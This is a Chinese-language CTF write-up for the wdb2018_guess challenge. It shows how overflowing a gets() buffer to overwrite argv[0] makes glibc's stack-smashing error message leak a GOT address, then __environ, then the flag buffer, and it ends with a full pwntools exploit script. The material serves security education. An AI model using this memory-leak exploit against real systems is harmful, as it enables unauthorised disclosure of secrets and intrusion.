wdb2018_guess--canary报错利用
修改argv[0],使canary报错时泄露信息 题目链接
参考文章
知识点:
1.canary报错的利用,熟悉报错的参数是什么
2.__environ环境变量
1.ida速览 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; __int64 v6; __int64 v7; char buf[48 ]; char s2[56 ]; unsigned __int64 v10; v10 = __readfsqword(0x28 u); v7 = 3LL ; LODWORD(stat_loc.__uptr) = 0 ; v6 = 0LL ; sub_4009A6(a1, a2, a3); HIDWORD(stat_loc.__iptr) = open("./flag.txt" , 0 ); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt" ); _exit(-1 ); } read(SHIDWORD(stat_loc.__iptr), buf, 0x30 uLL); close(SHIDWORD(stat_loc.__iptr)); puts ("This is GUESS FLAG CHALLENGE!" ); while ( 1 ) { if ( v6 >= v7 ) { puts ("you have no sense... bye :-) " ); return 0LL ; } if ( !(unsigned int )sub_400A11() ) break ; ++v6; wait((__WAIT_STATUS)&stat_loc); } puts ("Please type your guessing flag" ); gets(s2); if ( !strcmp (buf, s2) ) puts ("You must have great six sense!!!! :-o " ); else puts ("You should take more effort to get six sence, and one more challenge!!" ); return 0LL ; }
是可以发现有三次fork创建子进程的,说明我们可以利用三次canary报错
为什么想到这个,是因为我们没有其他的输出的可以利用,所以想到这个。
大致的思路就是通过泄露flag在栈上的地址,然后通过canary报错输出出来,具体看下面的实现.
2.gdb调试 首先要patchelf,将环境改为glibc2.24,不然无法实现。
发现报错部分出现了程序的名字,那么这个是什么呢?这个其实就是argv[0],也就是说argv[0]会随着canary报错的时候输出出来,那如果我们将其改为某个函数的got表的内容,那是不是就可以输出其真实地址了,达到泄露libc的作用,下面来看看栈布局:
这里可以很清楚的看到输入的地址和argv[0]相差0x128,我们通过栈溢出覆盖此处的地址为got表地址即可泄露libc
(1) 泄露Libc: 1 2 3 4 5 6 7 8 9 p.recvuntil("Please type your guessing flag\n" ) puts_got = elf.got['puts' ] payload = b'a' *0x128 + p64(puts_got) p.sendline(payload) p.recvuntil('stack smashing detected ***:' ) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("puts_address : " + hex (puts_addr))
(2)通过__environ泄露环境变量地址 关于__environ可以参考开头的文章
光标处就是__environ的地址,很明显该地址是在栈上的,因此我们泄露出该地址,就可以获得栈地址了.
发现flag的地址与__environ的地址差距0x168,因此将environ的地址泄露出来,再减去0x168就是flag的地址,然后通过同样的溢出,就可以泄露flag了.(该flag是我本地建立的,为了调试方便)
1 2 3 4 5 6 7 payload = cyclic(0x128 ) + p64(environ) p.recvuntil("Please type your guessing flag\n" ) p.sendline(payload) p.recvuntil('stack smashing detected ***:' ) buf = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x168 success('buf(flag)_address : ' +hex (buf))
(3),泄露flag 直接看最后的EXP吧
3.最终EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher3 import *context(arch='amd64' ,log_level='debug' ) p = process("./pwn" ) elf = ELF("./pwn" ) def bug (): gdb.attach(p) pause() p.recvuntil("Please type your guessing flag\n" ) puts_got = elf.got['puts' ] payload = b'a' *0x128 + p64(puts_got) p.sendline(payload) p.recvuntil('stack smashing detected ***:' ) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("puts_address : " + hex (puts_addr)) libc = LibcSearcher('puts' ,puts_addr) base = puts_addr - libc.dump('puts' ) environ = base + libc.dump('__environ' ) payload = cyclic(0x128 ) + p64(environ) p.recvuntil("Please type your guessing flag\n" ) p.sendline(payload) p.recvuntil('stack smashing detected ***:' ) buf = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x168 success('buf(flag)_address : ' +hex (buf)) payload = cyclic(0x128 ) + p64(buf) p.recvuntil("Please type your guessing flag\n" ) p.sendline(payload) p.interactive()